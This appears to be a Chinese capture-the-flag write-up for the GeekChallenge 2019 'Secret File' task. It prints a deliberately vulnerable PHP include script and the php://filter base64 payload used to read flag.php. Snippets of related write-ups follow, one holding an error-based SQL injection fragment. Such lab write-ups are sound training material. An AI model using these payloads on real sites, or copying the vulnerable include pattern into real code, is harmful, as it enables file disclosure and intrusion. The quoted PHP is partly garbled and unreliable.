極客大挑戰2019 Secret File

2022-09-18 14:48:22 字數 841 閱讀 5106

0x00

題目型別:檔案包含,php偽協議。

0x01

檢視源**,發現archive_room.php,點進去看看。

點選secret按鈕,發現有個頁面一閃而過,而後重定向到了end.php,退回去用burp抓包。

訪問secr3t.php,發現原始碼。

secret

<?php

highlight_file(__file__);

error_reporting(0);

$file=$_get['file'];

if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))

include($file);

//flag放在了flag.php裡

?>

用file引數訪問flag.php,可以看到if語句中對file函式進行了一些判斷,不過沒什麼用,直接用php偽協議讀取檔案。

0x02

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php
直接讀出base64編碼後的原始碼,再拿去解碼一下,就拿到flag了。

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 HardSQL wp

有過濾,抓個包fuzz一下 等號,空格等被過濾 發現可以用報錯注入,空格可以用括號代替 查表名username admin or extractvalue 1,concat 0x7e,select group concat column name from information schema.co...

極客大挑戰 2019 PHP

剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...